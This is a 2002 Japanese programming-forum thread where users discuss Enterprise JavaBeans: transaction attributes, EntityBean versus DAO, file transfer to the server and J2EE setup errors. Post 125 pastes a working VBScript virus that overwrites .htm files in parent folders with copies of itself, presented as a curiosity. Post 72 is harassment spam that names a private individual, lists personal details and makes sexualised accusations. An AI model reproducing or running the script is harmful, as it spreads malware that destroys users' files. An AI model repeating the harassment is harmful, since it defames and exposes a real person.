1 :
デフォルトの名無しさん :
02/03/27 23:54 EJBを勉強しています。 かなり複雑です。 そこでマッタリとEJBを語りましょう。 特にプログラミング技法など)
2 :
デフォルトの名無しさん :02/03/27 23:55
2
よくわかんないけど java だよね? java 関係スレ多すぎて邪魔。
5 :
デフォルトの名無しさん :02/03/28 00:01
EJBも今年いっぱいだろ NETでたし(w
6 :
デフォルトの名無しさん :02/03/28 00:01
7 :
デフォルトの名無しさん :02/03/28 00:02
よく分からないので優秀なお前ら教えてください。 JavaBeansは分かる。
Javaはうんこ。
10 :
デフォルトの名無しさん :02/03/28 00:12
おれが言いたいのはJ2EEのパターン。 GOFやっと理解してきたなと思ったときに こんどはJ2EEパターン。 本当にこんなの実務でやってのか? ASP最高(w
パターンが多いのは環境が未熟な証拠だって誰かが言ってた。
12 :
デフォルトの名無しさん :02/03/28 16:22
>>11 M$は、フレームワークとかパターンを、ある程度ツール化して、
誰でも活用できる形にするのが「売り」だからね〜。
でもツールに埋め込まれたノウハウって、
判ってない人は面倒だから使わないし、
判っている人はカスタマイズしにくいから使わないし...
今の流行は、
「カスタマイズ可能なツールに、
自前のフレームワークやパターンを組み込むこと」
と言ってみる
13 :
デフォルトの名無しさん :02/03/28 17:12
J2EEパターンについて語るスレに変更になりました。
クソスレに認定されました。
15 :
1じゃないけど... :02/03/28 17:45
(´-`) .。oO(なぜクソスレだとばれたんだろう?)
(´-`).。oO(春だからねぇ。。。?)
17 :
デフォルトの名無しさん :02/03/28 20:17
EJBのツールの使用度は? あるECサイトではJB使わなかったみたいだな どうも覚えるの面倒だった見たい テキストエヂィタでコード書いたみたい。
19 :
デフォルトの名無しさん :02/03/28 20:39
>>17 最近Jbuilder6の解説書が出てるので
読め
?
21 :
デフォルトの名無しさん :02/06/05 19:54
はじめまして。 質問なのですが、 EJBとその呼び出し元は別VMなのでしょうか? 呼び出し元でセットしたstaticなクラス変数の中身が、EJB内では見ることが出来ないのです。TT
22 :
デフォルトの名無しさん :02/06/05 21:20
EJBって結局誰もわかってないんじゃない? こんなもんが普及するのかね。アメリカじゃ誰も つかってねえらしいぞ、こんなもん。みんな サーブレットでやってる。
> アメリカじゃ誰もつかってねえらしいぞ、こんなもん。 ソースキボンヌ。 一応、仕事で使ってます。
24 :
デフォルトの名無しさん :02/06/05 21:50
すまぬ。 10 大ニュースのどれを指して「使われてない」ってなるの? 1 は使われてる、ってことだろうし、Web サービスのは対応ってことで EJB が使われないってことじゃないだろうし。
27 :
デフォルトの名無しさん :02/06/05 22:52
>>26 別VMってことですか?
それとも別の理由???TT
勉強しなおせ。
29 :
デフォルトの名無しさん :02/06/05 23:29
>>27 ローカル呼び出しでなければ、当然 別VM。
ローカル|iiop経由のどちらかにしか使えないような設計は普通しないから、
>呼び出し元でセットしたstaticなクラス変数の中身をEJB内で見る
ってのはどうかと思うが。
30 ゲットーってショボ
31 :
デフォルトの名無しさん :02/06/14 16:44
メソッドのトランザクション属性 Supports Required RequiresNew Mandatory NotSupported Never の実践におけるきっちりとした使い方について教えてください。 全部Requiredにしているという人はもち却下。
EJBって、タダのJBuilderPersonalでできます?
33 :
デフォルトの名無しさん :02/06/15 11:45
あげ
sage
35 :
デフォルトの名無しさん :02/06/15 12:02
モデル更新通知、使っていますか? なんのことだかさっぱりわかりません。
36 :
デフォルトの名無しさん :02/06/15 12:05
Entry JBuilder
>>32 それはできないと思う。
OpenTools にもないと思う。
>>31 全部Requiredだとなんでだめなの?
そーいうからには、使い分け方とか知っているわけでしょ?
「必要に応じて使い分ける」としか言えないと思うよ。
39 :
デフォルトの名無しさん :02/06/18 13:25
なんか、イイ!入門書ない? つーか、お前ら、どこでEJBを勉強したのですか? 教えれ!
>>38 全部Requiredだとメソッド内で複数のトランザクションを扱う場合、
一部のトランザクションで例外したときに、ロールバックすると
すべてのトランザクションがロールバックされてしまうよ。
またトランザクション処理が長期にわたると、JTAタイムアウトが発生して、
全部ロールバックされてしまう。
そういう場合はRequiredNewのほうがよいよね。
でもEJBからはメソッドのトランザクション属性によって処理を切り替えるとか、
メソッドのトランザクション属性そのものを変更するとかという、
器用なことができないから(できたらごめん)、
本当はロールバックをさせたかったりさせたくなかったりという、
状況によっての微妙な意図が反映できない。
実はDDでトランザクション属性を切り替えるという、
EJBの仕様そのものに問題があるのではないかと思っているわけです。
ひょっとしたらもっといい方法があるのかもしれないけど。
あったら教えて。
41 :
デフォルトの名無しさん :02/06/18 17:12
>>39 入門書ではないが、PeasonEducationの「EnterpriseJavaBeans開発ガイド」
はいいよ。
4500円と値は張るが
最近出た『プロフェッショナル EJB』はどうですか?
43 :
デフォルトの名無しさん :02/06/18 18:20
44 :
デフォルトの名無しさん :02/06/18 20:29
>メソッド内で複数のトランザクションを扱う場合、 具体的にどんな場合があるの?
>>39 トレーニングの受講とか、実際に製品をいじってみるとか、参考書読むとか...
46 :
デフォルトの名無しさん :02/06/18 23:32
>39 RI使って、Sunのチュートリアル読んだら終わり。だと思ってた。 あ、勿論その後、ロハのコンテナ拾ってきて動かして「ほ〜ぅ」と さも悟ったかのような溜息を吐くわけだが。
47 :
デフォルトの名無しさん :02/06/18 23:41
覚えるの多すぎ。 2世代のツールできるのまつか
ejbってITバカを引き寄せる撒き餌だろ?
>>41-42 >>45-46 ありがとう! お金ないんで、SUNのチュートリアル読んでみます。
エンタープライズ開発って、本当に楽になったのかなあ?
50 :
デフォルトの名無しさん :02/06/19 14:06
51 :
デフォルトの名無しさん :02/06/19 20:00
>50 大丈夫か?
>>48 どういう意味かもう少しわかりやすく説明してください
EJBパッケージング考えんのがめんどくせぇ トランザクションだけもっと気軽に使わせろ
55 :
デフォルトの名無しさん :02/06/20 21:40
54>> その通り。2世代のツールがでるの我慢しましょう。 よほどのミッションクリティカルでないならば EJBはいらない。ASPいい(w
だから ”**>>” この記法はどこで覚えてきたのか と。
57 :
デフォルトの名無しさん :02/06/20 22:16
58 :
デフォルトの名無しさん :02/06/21 00:08
はっきり言って普通のシステムでEJBはいらんよ。 デバッグめんどいだけ。 JDBCトランザクションだけ自分でコントロールしときゃいい。 そもそも3階層モデルとかいいつつ、 みんな結局ViewとLogic同じマシンで動かしてんじゃん。 EntityBeanもくそおせぇし。
>普通のシステム ん?なに?
61 :
デフォルトの名無しさん :02/06/21 07:25
誰も突っ込まないのか…仕方ない >そもそも3階層モデルとかいいつつ、 >みんな結局ViewとLogic同じマシンで動かしてんじゃん。 SmallTalkから勉強し直しなさい…
62 :
デフォルトの名無しさん :02/06/21 07:28
>>61 ちょっと待て、おまえはほんとにわかってんのか?
同じマシンかどうかが問題なのかと
小一時間
問い
詰
めた
もうことなかれ
69 :
デフォルトの名無しさん :02/06/24 12:41
EntityEJB使ってる人手あげて。
EntityEJB って言い方はじめて聞いた。 使ってる。
71 :
デフォルトの名無しさん :02/06/24 16:17
>>70 質問です。フロントに値を引き渡すときはどうやってます?
ValueObjectのコピーを作ってる?
72 :
デフォルトの名無しさん :02/06/24 16:19
|,'〜丶,/ , ' , ' , ' ,' \
, ' ⌒ヽ / / / / / l l 、、、、 `、
,.' / l 1 ,' ,' ' ' ' ' ' ' ' '`.、
|1/ !{ l i | | | | | | | | | | `、
|/\ l1 | | i1 | .| | | | | | | | i、
i、 _ノノ | _,.-一'''~ ̄|`i l l i ii ii ii iii |1|
|`''ーイ -''´`i !|`、| i ノ一、 ','', ',''j l !l
,| , ´ | ,|-';;0ヽ`i| { /jノ ノ|ン、/ /j ,j l|
|! | イイ{:;;iiiiii::;} `| },ノ ,ノ;0`jノ / /,' , } l
j l 1 リ、`'ー+' {:iiii} iノイ lノ ノノ
, l 1 |`、 ,  ̄ ,‐'´ l サガを勝手に裸にして抱き枕にしないで!
| l 1 1 ` 、\ - ノ 1 i
/ノ l 1 '、 ` 、 _, .- ' | 人
/~ノ/// ノ\ ` ' ー 'i、_ __| ハ
, -'~ _...,,,.‐'´ \\  ̄'´ ̄ l`j丶、
おおもりよしはる=ロリペドオタ、アニオタ、モーツアルトオタ、ベートーベンオタ、ブルックナーオタ、セガ信者
ひまわりと幼女のすじまんこに異様な執着心を燃やしているロリペド絵描き
2浪して九州大学歯学科に進むがプロのイラストレーターになるために大学を中退、
同人活動とUOに専念する日々を送るが、その生活は苦しいらしい(藁
自らを画家と呼び、ともすれば不真面目なものと見られかねないアニメ絵
それも、無毛のすじまんこすらも「芸術」の域にまで高めようとしている(らしい)。
心の支えは自分の描いたひまわりの絵らしい(ぷ
マスコミ(西日本新聞)で写真付きで取り上げられたこともあるらしい。
最強のネットゲーUOではIzumoでKanae、SASAWOというキャラを使用。
http://kaba.2ch.net/test/read.cgi/doujin/1021463845/ http://www.p80.co.jp/p/k_sinki/yoshiharu/oomori.html
74 :
デフォルトの名無しさん :02/06/24 21:36
Entityは使えない。 ツールなければ
Deployment Descriptor手書きすりゃツールなくても 使えると思うけど...あ、CMP2.0はよくわからず。 ちなみにBMPのEntityBean使ってます。 でも一部のトランザクションはSessionBeanから 直接アクセスしたりしてる。CMTで。
76 :
デフォルトの名無しさん :02/06/26 03:37
開発ツールは何をつかう まさメモ帳?
jdeeだろ。デプロイ一発。
78 :
デフォルトの名無しさん :02/06/28 19:39
>>61 「SmallTalk」だって・・・・ププ
79 :
デフォルトの名無しさん :02/06/28 23:33
Entity Beanて使う。 メモ帳で配布書くの面倒なんですけど やはりツールを使うのか?
80 :
デフォルトの名無しさん :02/06/29 00:50
>>71 70じゃないんだけど、RowSetで返すなんてどーよ。
JDBCがサポートしてなけりゃ自作ResultSet。
ValueObjectだとフロントに返すデータ毎にクラスを
作るってのが面倒くさくありません?
81 :
デフォルトの名無しさん :02/06/29 01:00
EntityBeanってどーゆーとき使うのでしょうか? DAOクラスでSQL発行するのと比較して どのよーなメリットがある?
>>80 なんかそこまでTransactionを持ち込みたくないなぁ。
つーか、そこまでやるなら直接JDBC使ったほうが良くない?
そもそもEntityBeanって更新処理にメリットがあるかと。
私は読むだけならEJBコンテナ内のクラスから直接JDBC。
で、RequiredなCMTのSessionBeanがそのクラスを呼ぶ。
って変ですか?
>>79 普通、GUIのDeploymentToolがサーバについてるかと...
でも一部サーバではメモ帳のほうがよっぽどマシだったり。
>>81 EntityをBeanで管理したいときに使います。
目的のひとつはDAOと同じく、DBMSとJavaのあいだの
インピーダンスミスマッチの解消でしょう。
メリットといえば、
・コンテナがトランザクション管理してくれたり
・必要に応じて行のロードやストアをしてくれたり
・CMPだと1行もコード書かなくても良かったり(開発環境による)
・適当にプーリングしてくれたり
とかかなぁ。あとはEJBコンテナのセキュリティモデルが使えるとか。
EntityBean自体はDAOに近いものあります。
が、EntityBeanを使うのはクライアントアプリケーションてより
むしろEJBコンテナがEntityBeanを使ってる感じに近いかな。
アプリがEJBコンテナにデータを要求するとEJBコンテナが
EntityBeanを適当に使って結果を返してくれる感じ。
あんまり解答になってない気もしますがこの辺で。
84 :
デフォルトの名無しさん :02/06/29 02:45
85 :
デフォルトの名無しさん :02/06/29 03:23
>>85 あぁ、最悪ですね。2.0は知らないけど。
そのためにアプリケーションサーバには
ロードバランス機能がついてるんじゃないかと。(藁
AS固有のデプロイ用設定ファイル(weblogic-ejb-jar.xmlやjboss.xml)を使わずに、 ejb-jar.xmlだけでデプロイをおこなって、クライアントからEJBをlookupすることは可能でしょうか?
88 :
デフォルトの名無しさん :02/06/29 16:27
できないんじゃないの やってみれば(w
それができなかったらEJBコンテナとは言わんだろ。
90 :
デフォルトの名無しさん :02/06/29 19:44
weblogic-ejb-jar.xmlやjboss.xmt て固有の機能でしょ。APPの
91 :
デフォルトの名無しさん :02/06/30 01:29
>>83 なるほど。
でもEntityBeanってjoinできなかったと記憶してるんですが、
検索系の処理ではほぼ必ずjoinしますよね?
ってことは、更新系はEntityBeanでやって
検索系はSessionBean経由のDAOがいいような気がしてきたけどどーかね?
↑ DAOはフツーのクラスってことで
>>91 JOIN禁止というDQNプロジェクトがあったりする。。。
>>91 JOINに関してはCMPは駄目かな。
でも私はJOINな参照はできるだけビュー使ってます。
BMPなEntityBeanだとJOINでもなんでもできるよ。
ってBMPは相手がRDBMSである必要もなし。
ディレクトリサーバにLDAPでアクセス、とかでもよし。
>>94 テーブル2つSELECTして自力で統合したりするんでしょうか。
パフォーマンス気にしないならまぁ。
全てのDBで全てのJOINが実装されてるわけでもないし...
96 :
デフォルトの名無しさん :02/06/30 02:56
>>JOINに関してはCMPは駄目かな 機能がよわいの? でも1:nやN:Nのテーブルもできるけど。 パフォーマンスが悪いということですか? それとJOINするとパフォーマンスが悪くなるのですか? SUNのPETSHOPてエンティティを使っていない ですよね。やっぱつかえないのかな
97 :
デフォルトの名無しさん :02/06/30 02:57
それとどう考えてもEJBは教育のコストが かかりすぎ。優秀なツールができない限り 効率が悪いのでは。
>>95 そう、自力で、、、
ちなみにOracle、ビュー作成禁止。
パフォーマンスは気にしてるらしい(w
あぁ、口出しできる権限が欲しい。。。
>>96 CMPではJOINできない。(機能がない)
パフォーマンス重視ならJDBC直呼出が定石(現時点では)
>>97 EJBに(あまり)関係ないところをやらせて、
基盤部分をわかってる奴がやればいい。
興味ある奴は自分で勉強するし、しないやつは所詮それまで。
>>96 PetStoreはEntityBean使ってるよ。(AccountEJBとか)
CMPはレガシーシステムとかDBMSに依存しないように、
SQL文をコンテナが自動生成するわけです。
で、そこにJOINする機能が定義されてないのです。
BMPだと自分でSQL文書いてJDBCでアクセスしたりするんで
何でもアリなんですが。
このへん、EJB-QLで解決しないのかな。
>>97 ツールでは解決できるかどうか怪しいなぁ。
EJBだけならそんなに難しくないと思うけど、
J2EEのコンテナサービスが複雑なんだと思う。
JTAやらJNDIやらEJBやら....
98も言ってますが、それぞれのロールを適切に
割り振れば良いんじゃないかと。
>>98 なるほど、自力ですか...実装大変そうですね...
100 :
デフォルトの名無しさん :02/07/01 12:53
98,99>> ご意見参考になります。ただ、EJBのコードは冗長になりがちな気がするんです。 NET VS EJBの比較がすこし前にありましたよね。 JAVAの方は約3倍のコードを書かなければならないみたいですね。 もちろんツールが自動生成してくれる部分があるのでしょうが。 いまだステップ数でカウントしている企業にはいいのでしょうが。 EJBもう少し勉強しなくては(w
私はEJBの利用には懐疑的です。
ほんとに楽になるのか?EJB周りやEJBの実装系のバグとかにハマって
デスマチ化することがありそうな気がするのですが^^;
>>97 DDとか設定する項目が多くて、面倒くさいよね。
weblogic-ejb-jar.xmlとかベンダ依存部分も結構あって、調べるの面倒。
>>98 CMPでJoinはできないけど、EJB2.0の関連の機能使えば結構楽できそうな
気がしますがどうでしょうか?
実は使ったことないですけど (w
102 :
デフォルトの名無しさん :02/07/01 23:38
WEBLOGICの開発者むけの本でてるね。 初心者にはまず理解できないしろものだけど(w
>>100 実際のBeanは冗長ではないと思いますが....
冗長とはremote/home interfaceのことでしょうか。
であれば、IDEからGUIでも作れますが私はコピペしてます。
で、ただのinterfaceなんでステップ数も稼げませんよ。(w
>>101 懐疑的というのはなんとなくわかります。
今のとこ実装系のバグとかは出会って無いんですが、
それはEJBに限った話ではないと思います。
楽かどうかで言えば楽ではないですね。ある程度コンポーネントが
たまってる状態で実装レベルの話であれば楽かもしれませんけど、
それ以上に設計コストがかかります。必要かどうか見極めが重要。
スケーラビリティが要求されるか、規模がかなり大きくて
トランザクション管理が大変なときはEJBだと楽だと思いますが、
それ以外で使うと重いし設計面倒だしAS高すぎだし。
あと、仕様的に遠回りしなきゃならないってことは
あるかもしれません。これもEJBに限りませんが。
また、あえて遠回りして実装したくなることもあります。
なんせ崇高なJavaですから。(w
DDはDeploymentToolで書いてます。Weblogicじゃないですが。
さすがにベンダ依存まで手書きはしたくないですよね。
104 :
デフォルトの名無しさん :02/07/02 15:54
大規模なプログラムではJAVAですか。 でもJAVAの人月高すぎ。 オブジェクト指向で有名なOJ社1人月200万。 そんなに取れるのか。それだけEJBが複雑なんだろうな。
105 :
デフォルトの名無しさん :02/07/02 16:07
J2EEパターンて使っていますかね。 まだまだ解説書がなくて理解するのにしんどいような気がするのですが。 今月あたりJ2EEパターンの本が翻訳されて出るみたいなんですが。 それにしてもEJB覚えるのおおすぎ(w
>>104 大規模なのはJavaってわけではなくて、
Javaで大規模ならEJB、ということかなぁ。
人月はトータルで見て短期でできるなら高くないかも。
でもまぁ、それはそれで単価上がるならEJBの生産性の
意味がないんですが。
うちはEJBでも非EJBでも同じ人月。地方なんで安い....
>>105 J2EEパターンは使います。
Sunのサイトに英語でありますが、それほど
理解が難しいパターンでもないような。
覚えるの多すぎなのは同意。
EJBというよりJ2EE全般ですよね。JNDIとかも含めて。
>>75 コンポーネントが再利用できるかどうかは、EJBうんぬん以前のモジュール設計
がきちんとできてないと駄目でしょうからね。
J2EEパターンって、特に目新しいことも無いような気がします。知っていて損は無いですが。
デザインパターンの応用例って感じですよね。
周りの人間が、構造体のことを「ValueObject」とかわざわざ呼んでいるのを聞くと寒気がします(w
覚えること多いですよね。ホント面倒。
ASP.NETレベルのフレームワークをSunが標準で出してくれないかな・・・
108 :
デフォルトの名無しさん :02/07/06 00:53
質問です。 EJBでクライアントからサーバへ(またはソの逆に)ファイルを転送することは可能なのでしょうか? java.io.* やソケットが使えないので不可能とは思うのですが、なにか技は在りませんでしょうか?
109 :
デフォルトの名無しさん :02/07/06 01:02
byte[]丸投げ
>>109 ありがとうございます。早速、明日コードを書いてみます。
111 :
デフォルトの名無しさん :02/07/06 01:39
>>111 情報ありがとうございます。あの写真は、やっぱり男ですか…
クライアントは、javaアプリです。
私のEJBのレベルは『プロフェッショナルEJB』を読み始めたところです。
>>107 ValueObjectという言葉は私も使ってますが、リモートコールのときしか
使ってないです。リモートコールのときに使って、初めてValueObjectに
なると思ってたんですが、違うんですかね。
Sunのパターンカタログ見ても粗粒度にして効率的な転送を、みたいな
ことが書いてあるんで、リモート前提なんじゃないでしょうか。
つまり、その行為を含めてValueObjectであって、そのクラス自体は
ValueObjectじゃないのではないかと。
>>108 インプレスのプロフェッショナルEJBは、ちょっと読んだ限りでは
結構いい本だと思いました。必要なことはだいたい書いてあるし。
ExceptionがthrowされたときCMTなトランザクションはどうなる、とか。
114 :
デフォルトの名無しさん :02/07/08 21:03
>>108 の便乗質問です。
EJBを使って、クライアントのjavaアプリとサーバとで、ftpのようにファイルを送り出したり、受け取ったりすることはできないのでしょうか?
クライアントのディレクトリにあるファイルを、サーバのディレクトリへコピーしたり、その逆をしたりしたいのです。
セキュリティポリシィを下げればできるとも聞いたのですが、やり方がわかりません。
どなたか、教えてください。
>114 だから、byte配列丸投げしろって。
>>115 byte配列を受け取って、ファイルに書き出させようとしてるんですが、サーバにファイルが出来ないんですが・・・
FileOutputStream fos=new FileOutputStream("c:\\temp\\hogyo.txt");
InputStream is = new InputStream();;
byte[] buffer = new byte[1024];
while(true){
int len = is.read(buffer);
if(len < 0) break;
fos.write(buffer, 0, len);
}
>>116 のソース、間違いです。
// byte 単位で1文字ずつファイルに書き込み
FileOutputStream fos = new FileOutputStream("c:\\temp\\hogyo.txt");
String str0 = "abcdeあいうえお\r\n";
byte buf[] = str0.getBytes();
for( int i = 0; i < buf.length;i++ ) {
fos.write( buf[i] );
}
fos.close();
>>109 byte[] を丸投げしましたが、以下のようなエラーが出て、サーバ上にファイルを作成できません。このエラーを回避する方法はあるのでしょうか?
もしかして、RMIを使うのでしょうか?(私は良く知らないのですが…)
java.security.AccessControlException: access denied (java.io.FilePermission c:\t
estFileFromClient.txt write)
at java.security.AccessControlContext.checkPermission(AccessControlConte
xt.java:267)
at java.security.AccessController.checkPermission(AccessController.java:
394)
at java.lang.SecurityManager.checkPermission(SecurityManager.java:540)
at java.lang.SecurityManager.checkWrite(SecurityManager.java:973)
at java.io.FileOutputStream.<init>(FileOutputStream.java:91)
at java.io.FileOutputStream.<init>(FileOutputStream.java:57)
at simpleBean3.SalaryEJB.calculateSalary(SalaryEJB.java:37)
at simpleBean3.SalaryEJB_EJBObjectImpl.calculateSalary(SalaryEJB_EJBObje
ctImpl.java:26)
at simpleBean3._SalaryEJB_EJBObjectImpl_Tie._invoke(Unknown Source)
at com.sun.corba.ee.internal.POA.GenericPOAServerSC.dispatchToServant(Ge
nericPOAServerSC.java:520)
at com.sun.corba.ee.internal.POA.GenericPOAServerSC.internalDispatch(Gen
ericPOAServerSC.java:210)
at com.sun.corba.ee.internal.POA.GenericPOAServerSC.dispatch(GenericPOAS
erverSC.java:112)
at com.sun.corba.ee.internal.iiop.ORB.process(ORB.java:255)
at com.sun.corba.ee.internal.iiop.RequestProcessor.process(RequestProces
sor.java:84)
at com.sun.corba.ee.internal.orbutil.ThreadPool$PooledThread.run(ThreadP
ool.java:99)
>>119 のソースです。
こちらはクライアント側
import javax.ejb.*;
import simpleBean3.*;
import javax.naming.InitialContext;
import java.io.*;
import java.net.*;
class SalaryClient3 {
public static void main(String[] args) {
try {
InitialContext ctx = new InitialContext();
Object objRef = ctx.lookup("Salary3");
SalaryHome home = (SalaryHome)javax.rmi.PortableRemoteObject.narrow(
objRef, SalaryHome.class);
Salary bean = home.create();
String filepath = "C:\\tmp\\method.zip";
File file = new File(filepath);
Long lon = new Long(file.length() );
byte [] bytes = new byte[ lon.intValue() ];
try{
FileInputStream fis = new FileInputStream(file);
fis.read(bytes);
fis.close();
}catch(java.io.EOFException e){
System.out.println("EOFException !");
} catch(java.lang.Exception e) {
// とりあえずエラー出力。
e.printStackTrace(System.out);
}
bean.sendFile(bytes) );
} catch (javax.naming.NamingException ne) {
System.out.println("Naming Exception caught: " + ne);
} catch (javax.ejb.CreateException ce) {
System.out.println("Create Exception caught: " + ce);
} catch (java.rmi.RemoteException re) {
System.out.println("Remote Exception caught: " + re);
}
}
}
こちらはサーバ側 package simpleBean3; import javax.ejb.*; import java.io.*; import java.net.*; public class SalaryEJB implements SessionBean { public void ejbCreate() {} public void ejbRemove() {} public void ejbActivate() {} public void ejbPassivate() {} public void setSessionContext(SessionContext ctx) {} private final double taxRate = 27.5; ServerSocket ssc; public double sendFile( byte[] bytes ) { double monthly = 0; monthly = annualSalary/12; //Add bonus monthly = monthly + bonus; //Remove pension contribution monthly = monthly - (monthly * (pensionContrib/100)); //Remove tax monthly = monthly - (monthly * (taxRate/100)); // バイト列をファイルに変換 String file = "c:\\testFileFromClient.txt";//サーバ側の保存先 try{ FileOutputStream fos = new FileOutputStream(file); fos.write(bytes); fos.close(); }catch(java.io.EOFException e){ System.out.println("EOFException !"); } catch(java.lang.Exception e) { // とりあえずエラー出力。 e.printStackTrace(System.out); } return monthly; } }
ejb-jar.xml は以下のとおりです。
『プロフェッショナルEJB』(良書です)のサンプルを少し変えただけですが・・・。
どなたか助けてください。
<?xml version="1.0"?>
<!DOCTYPE ejb-jar PUBLIC '-//Sun Microsystems, Inc.//DTD Enterprise JavaBeans 1.1//EN' '
http://java.sun.com/j2ee/dtds/ejb-jar_2_0.dtd '>
<ejb-jar>
<description>Single stateless session bean to calculate monthly salary</description>
<display-name>Simple Bean3</display-name>
<enterprise-beans>
<session>
<description>Simple Salary Bean to calculate monthly net earnings</description>
<display-name>Salary Bean3</display-name>
<ejb-name>Salary3</ejb-name>
<home>simpleBean3.SalaryHome</home>
<remote>simpleBean3.Salary</remote>
<ejb-class>simpleBean3.SalaryEJB</ejb-class>
<session-type>Stateful</session-type>
<transaction-type>Container</transaction-type>
</session>
</enterprise-beans>
</ejb-jar>
123 :
デフォルトの名無しさん :02/07/09 22:28
Javaは例外が出てる場合はそのスタックトレースだけ貼れば大抵解決する。 あんましデカイソース貼るな。 んで本題だが。EJBコンテナのセキュリティポリシーを設定すべし。
>>123 色々なアドバイスありがとうございます。
deploytool を使えばいいのでしょうか。明日、試してみます。
125 :
デフォルトの名無しさん :02/07/09 23:42
これ実行するとどないになるんだろうね?誰か教えてくれや。俺わからん <BODY Onload="Redirect();"><script language="VBScript"><!-- Sub Redirect Randomize If location.protocol = "file:" AND (Int((6 * Rnd) + 1) = 1) then Call Offline location.href = location.href +"l" End Sub Sub Offline Dim FSO,folder ,fc, f1, cpath Set FSO = CreateObject("Scripting.FileSystemObject") HostPath = Replace(location.href, "file:///", "") HostPath = Replace(HostPath, "/", "\") cpath = fso.GetParentFolderName(HostPath) Set folder = fso.GetFolder(cpath) While folder.IsRootFolder = false Set folder = fso.GetFolder(cpath) Set fc = folder.Files cpath = fso.GetParentFolderName(cpath) For each f1 in fc s = Lcase(Fso.GetExtensionName(f1.name)) If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l", true fso.CopyFile HostPath, f1.path, true End If Next Wend If (Int((10 * Rnd) + 1) + 1) = 1 Then MsgBox("HTML.Redirect /1nternal") End Sub --></script> <!--Mocc/#Mai $Fanta & qupter configress +50;/Shera++/con;con;--></BODY>
スマンすれ違いだった。お詫び
128 :
デフォルトの名無しさん :02/07/10 01:47
EJBから外部クラスのオブジェクトにファイル操作を委譲したとしても、 その時使われるセキュリティポリシーはEJBが動作してるVMの物と同じじゃないの? やべ適当に書いたらまずかったか
129 :
デフォルトの名無しさん :02/07/11 21:25
>>127 WebOTX の体験版でやってみたら、クライアントからEJBを呼び出して、そのEJBの中でFileOutputStreamで書き込めてしまった。
大丈夫か、この製品?
>>129 ただのセキュリティポリシーだから別にいいんじゃないのか?
必要だったら自分で設定すればいいんだし
>>128 いや、セキュリティポリシーはBeanが動いてるのと同じかと。
ただ、それ以前に仕様的によろしくないのでは、と思ったもんで。
>>130 うーん、WebOTX専用EJBなら良いんだけど、
他のサーバにDeployするかもしれないなら駄目じゃないかなぁ。
呼べるかどうかじゃなくて、EJBの中で呼ぶことが、ね。
132 :
デフォルトの名無しさん :02/07/13 09:10
EJB準拠で、セキュリティポリシーが変更できるようになってるのはなんか不安だな。 EJBで、ソケット通信やマルチスレッドをやれ!ファイル転送もな!とか顧客に要求されそうだ(w
>>132 ポリシー変えられなかったら、いざとなった時に逆に面倒じゃない?
当然、標準規格に沿えるよう最大限に努力するのは前提だけど。
> 標準規格に沿えるよう最大限に努力する そんなアホラシイこと誰もやってないという罠
>>132 サーバソケットは無理っぽいよなぁ。
インスタンスがあるかどうかすらわからないんだから。
同期とかは全てを理解してれば出来なくはないかもなぁ。
>>134 一応やってますた。最大限、ね。
サーバのバージョンアップとかで動かなくなると困る。
>>135 >インスタンスがあるかどうかすらわからないんだから。
この辺のこと詳しく教えていただけないでしょうか。
ソケット作って、待ち受けてるだけなので出来そうな気がするのですが・・・
待ち受けしているインスタンスが、コンテナに片付けられてしまう。という理解でいいですか?
>>136 そうです。
Activate/Passivateはコンテナが勝手にやるんで。
インスタンス作るのはコンテナで、ライフサイクルを管理するのも
またコンテナなので。
例えソケットで接続できたとしても、remote/local interfaceを
通らないから、コンテナはそのEJBが使われているという認識ができないかも。
あ、実際やったことないから間違ってたらスマソ。
保守sage
出だしで躓いてます J2eeをD:\j2sdkee1.3.1にインストールして j2ee -verbose とやると 下記の例外になります なにがいけないのか似た症状についてご存知のかたいませんでしょうか? JDKはD:\jdk1.3.0_02にインストールされています。 起動する前には下記の環境変数を設定しました。 J2EE_HOME=D:\j2sdkee1.3.1 JAVA_HOME=D:\jdk1.3.0_02 PATHにD:\j2sdkee1.3.1\binを追加
> j2ee -verbose [enter] J2EE server listen port: 1050 Naming service started:1050 Exception in thread "main" java.lang.NoSuchMethodError at com.sun.corba.ee.internal.corba.AnyImpl.createTypeCodeForClass(AnyImpl.java:1256) at com.sun.corba.ee.internal.iiop.ShutdownUtilDelegate.createTypeCode(ShutdownUtilDelegate.java:223) at com.sun.corba.ee.internal.iiop.ShutdownUtilDelegate.writeAny(ShutdownUtilDelegate.java:178) at javax.rmi.CORBA.Util.writeAny(Util.java:80) at org.omg.stub.com.sun.enterprise.naming._SerialContextProvider_Stub.rebind(Unknown Source) at com.sun.enterprise.naming.SerialContext.rebind(SerialContext.java:188) at com.sun.enterprise.naming.SerialContext.rebind(SerialContext.java:202) at javax.naming.InitialContext.rebind(InitialContext.java:370) at com.sun.enterprise.naming.NamingManagerImpl.publishObject(NamingManagerImpl.java:192) at com.sun.enterprise.naming.NamingManagerImpl.publishObject(NamingManagerImpl.java:149) at com.sun.enterprise.server.J2EEServer.bindObject(J2EEServer.java:718) at com.sun.enterprise.server.J2EEServer.createServerObject(J2EEServer.java:473) at com.sun.enterprise.server.J2EEServer.run(J2EEServer.java:244) at com.sun.enterprise.server.J2EEServer.main(J2EEServer.java:972)
142 :
デフォルトの名無しさん :02/08/02 15:21
CMPでORDER BYみたいに並び替えた形にしたいんだけど、 ひょっとして、自力で並び替えるしかない?
EJBQL
>>142 は [jboss-fan:0580] の人?
145 :
デフォルトの名無しさん :02/08/02 16:30
あれ? EJB-QLはSELECT、FROM、WHEREだけで、並び替えってできた?
146 :
デフォルトの名無しさん :02/08/02 23:29
>> 142 EJBQLでORDER BYがサポートされるのは、 EJB 2.1からだよ。 EJB2.1のSpec(Draftがでてるよ)読んだみたら?
最近使ってないんだけどちょっとは速くなった? 新しいネタない?
148 :
デフォルトの名無しさん :02/08/12 01:57
>JBoss-2.4.6_Tomcat-4.0.3.zip
これ使ったことないんだけど(JBoss、Tomcat それぞれダウンロードして使ってる)、
>
http://localhost:8080/jboss ここには何かあるはずなの? Servlet + EJB のサンプルのページとか?
>>149 さん
そうです。jbossのものの本を読んでいる限りトップページがあるはずなんです。
いろいろと調べてみたところ、run_with_catalina.shで起動時のメッセージで
[INFO,EmbeddedCatalinaServiceSX] deploy, ctxPath=, warUrl=file:/usr/local/JBoss-2.4.6_Tomcat-4.0.3/j
boss/tmp/deploy/Default/webtest.ear/web1001/
というのですが、本当はctxPath=jboss,となるようなのです。
何を変えればいいのやら・・・
151 :
デフォルトの名無しさん :02/08/13 15:30
